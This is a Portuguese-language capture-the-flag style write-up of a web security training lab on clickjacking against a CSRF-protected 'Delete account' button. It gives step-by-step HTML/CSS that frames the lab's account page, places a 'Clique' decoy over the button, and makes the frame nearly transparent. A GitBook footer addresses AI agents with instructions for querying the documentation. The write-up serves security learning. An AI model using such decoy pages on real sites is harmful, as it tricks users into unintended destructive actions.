> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/clickjacking/basic-clickjacking-with-csrf-protection.md).

# Clickjacking Básico com Proteção CSRF

### Clickjacking básico com proteção de token CSRF

Este laboratório contém um recurso de conexão, além de um botão Excluir conta protegido por um **token CRF**. / O objetivo é incentivar o usuário a clicar em um item que exibe a palavra "Click" em um site isca, para excluir sua conta.

**Credenciais fornecidas:**

* wiener : peter

Na página da conta, encontramos a função **Excluir conta**.

<figure><img src="/files/26b37ca347967518acb5384115562bf9301394f6" alt=""><figcaption></figcaption></figure>

A ideia é usar uma **`<iframe>`** tag para incorporar esta página ao nosso próprio site e enganar o usuário para que clique no lugar certo.

```html
<style>
iframe{
width: 500px;
height: 600px;
}
</style>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

Esta etapa nos permite exibir a página de destino em nosso próprio site.

<figure><img src="/files/728eb3b177732e100b6ebfba3b3a2f03d5863c88" alt=""><figcaption></figcaption></figure>

Posicione um texto enganoso ("Click") exatamente acima do *Excluir conta* botão:

```html
<style>
iframe{
width: 500px;
height: 600px;
}
div{
position: relative;
top: 505px;
left: 70px;
}

</style>
<div>Clique</div>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

<figure><img src="/files/155be1cb5d9a2c25b318d1b66fbcdb2814719ef4" alt=""><figcaption></figcaption></figure>

Para que a vítima não veja a interface real, a **transparência** da moldura é reduzida:

```html
<style>
iframe{
width: 500px;
height: 600px;
opacity: 0.01;
}
div{
position: relative;
top: 505px;
left: 70px;
}

</style>
<div>Clique</div>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

Se a parte inferior da página não aparecer, provavelmente é devido à ausência do `frameborder="0"` parâmetro ou de uma política de segurança do site. / A aparência pode ser ajustada da seguinte forma:

<figure><img src="/files/95de821c81b43fbf42ac7bd698a3f2985bf63f7e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/clickjacking/basic-clickjacking-with-csrf-protection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
